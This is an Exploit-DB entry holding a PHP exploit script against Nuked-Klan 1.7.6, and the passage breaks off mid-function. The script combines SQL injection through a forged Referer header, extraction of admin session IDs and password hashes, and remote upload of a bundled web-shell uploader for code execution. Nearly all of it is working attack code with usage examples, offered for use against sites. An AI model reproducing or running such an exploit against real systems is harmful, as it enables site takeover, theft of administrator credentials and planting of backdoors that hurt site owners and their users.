Exploit-DB #5339
Description: Nuked-klaN 1.7.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-04-01
Author: Charles Fol

Exploit:
<?php

/*
 * Name: Nuked-Klan <= 1.7.6 Multiple Vulnerabilities Exploit
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * URL: http://realn.free.fr/releases/46556
 * Date: 04-01-08
 *
 * -> Remote Code Execution
 * -> Remote File Upload
 * -> Admin Hash Extraction
 *
 * Remote Code Exec vulnerability used in
 * this exploit was discovered by DarkFig.
 */

print "\n";
print "  Nuked-Klan <= 1.7.6 Multiple Vulnerabilities Exploit\n";
print "    by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n\n";

if($argc<3)
{
	print " usage: ./nk_exploit.php -url <url> [options]\n\n";
	print " Options: -mode    0 -> Remote Upload (default)\n";
	print "                   1 -> Remote Code Execution\n";
	print "                   2 -> Admin Hash Extraction\n";
	print "          -admin   If you have an admin account.\n";
	print "          -user    If STATS page needs registration,\n";
	print "                   you can set an account.\n";
	print "          -proxy   If you want to use a proxy.\n";
	print "          -prefix  Cookie prefix (default: nuked_).\n";
	print "          -file    If you wanna upload a specific file\n";
	print "                   else it will upload a simple uploader.\n";
	print "\n";
	print " eg: ./nk_exploit.php -url http://localhost/nk/ -admin real:passw0rd\n";
	print " eg: ./nk_exploit.php -url http://localhost/nk/ -file cshell.php -proxy localhost:8118\n\n";
	die();
}
 
$url  = getparam("url",1);
$mode = getparam("mode") ? getparam("mode"): 0;
$adm  = getparam("admin");
$acc  = getparam("user");
$prx  = getparam("proxy");

$prefix = getparam("prefix") ? getparam("prefix") : "nuked_";

$file_upload_code = getparam("file") ? file_get_contents(getparam("file")) : '<?php if(isset($_POST[\'upload\'])) { if( !move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "./".$_FILES[\'file\'][\'name\'])) echo("<center>Error ".$_FILES[\'file\'][\'error\']."</center>");else echo "<center>File uploaded</center>"; } ?><form method="post" enctype="multipart/form-data"><center><input type="file" name="file"><input type="submit" name="upload" value="Upload"></center></form>';;

$date = array(date('Y'),date('m'),date('d'));

$xpl = new phpsploit();
if($prx) $xpl->proxy($prx);

/* Admin account defined */
if($adm)
{
	print "[*] Using admin account $adm\n";
	list($login,$passwd) = explode(":",$adm);
	$xpl->addheader("Referer",$url);
	$c = $xpl->post($url."index.php?file=User&{$prefix}nude=index&op=login","pseudo=$login&pass=$passwd&remember_me=ok");
	if(preg_match("#{$prefix}sess_id=([a-z0-9]+)#i",$c,$sid) && preg_match("#uid=([a-z0-9]+)#i",$c,$uid))
	{
		$admin_sid = $sid[1];
		$admin_uid = $uid[1];
		print "      SID -> $admin_sid\n";
		print "      UID -> $admin_uid\n";
		finalattack($admin_sid,$admin_uid);
	} else exit("[*] Can't log in\n");
}
/* Admin account not defined */
else
{	
	/* User account defined */
	if($acc)
	{
		print "[*] Using user account $acc\n";
		list($login,$passwd) = explode(":",$acc);
		$xpl->addheader("Referer",$url);
		$c = $xpl->post($url."index.php?file=User&nuked_nude=index&op=login","pseudo=$login&pass=$passwd&remember_me=ok");
		if(preg_match("#{$prefix}sess_id=([a-z0-9]+)#i",$c,$sid) && preg_match("#uid=([a-z0-9]+)#i",$c,$uid))
		{
			# User Cookies
			$xpl->addcookie("{$prefix}sess_id",$sid[1]);
			$xpl->addcookie("{$prefix}user_id",$uid[1]);
		} else exit("[*] Can't log in\n");
	}

	$queries   = array();
	$queries[] = array("     SID","SELECT id FROM nuked_sessions WHERE user_id=(SELECT id FROM {$prefix}users WHERE niveau>=9 ORDER BY date LIMIT 0,1) LIMIT 0,1");
	$queries[] = array("     UID","SELECT id FROM nuked_users WHERE niveau>=9 LIMIT 0,1");
	$queries[] = array("   Login","SELECT pseudo FROM nuked_users WHERE niveau>=9 LIMIT 0,1");
	$queries[] = array("Password","SELECT pass FROM nuked_users WHERE niveau>=9 LIMIT 0,1");
	
	$xpl->agent("Mozilla Firefox");
	$xpl->addheader("X-Forwarded-For","127.0.0.1");
	
	$ctmp = $xpl->get($url."index.php?file=Stats&page=visits");
	
	if(preg_match('#<a href="javascript:history.back\(\)"><b>[^<]+</b>#i',$ctmp)) exit("[*] You don't have rights to access Stats page.\n");
	if(preg_match('#<a href="index.php\?file=User&amp;op=login_screen">[^<]+</a> | <a href="index.php\?file=User&amp;op=reg_screen">[^<]+</a>#i',$ctmp)) exit("[*] You must be registered, use -user param.\n");
	$xpl->reset("header");
	$xpl->agent("Mozilla Firefox");
	
	attack1();
	attack2();
}

function getparam($param,$opt='')
{
	global $argv;
	foreach($argv as $value => $key)
	{
		if($key == '-'.$param) return $argv[$value+1];
	}
	if($opt) exit("\n-$param parameter required");
	else return;
}

/* --- Attack #1 ---------------------------------------- */

function attack1()
{
	global $queries,$mode;
	
	print "[*] Attack #1\n";
	
	if($mode != 2)
	{
		print " ".$queries[0][0]." -> ";
		$admin_sid = sql_session_query($queries[0][1],0);
		
		if(!$admin_sid) return false;
		
		if($admin_sid=="")
		{
			print "\r[*] No session found. Crack following MD5 hash and use -admin param.\n";
			for($i=2;$i<4;$i++)
			{
				print " ".$queries[$i][0]." -> ";
				sql_user_query($queries[$i][1]);
			}
			exit();
		}
		else
		{
			print "\n ".$queries[1][0]." -> ";
			$admin_uid = sql_session_query($queries[1][1]);
			finalattack($admin_sid,$admin_uid);
		}
	}
	else
	{
			print "\r[*] Getting admin credentials\n";
			for($i=2;$i<4;$i++)
			{
				print " ".$queries[$i][0]." -> ";
				$z = sql_user_query($queries[$i][1]);
				if(!$z || $z == "") return false;
			}
			exit();
	}
}

function attack1_init()
{
	global $xpl,$url;

	$rnd = rand(100000,999999);
	
	$xpl->reset("header");
	$xpl->agent("Mozilla Firefox");
	$xpl->addheader("X-Forwarded-For","255.255.255.255");
	$xpl->addheader("Referer","http://g00gle.com','1','1','$rnd','1','1') #");
	$xpl->get($url."index.php");
	
	return $rnd;
}

function sql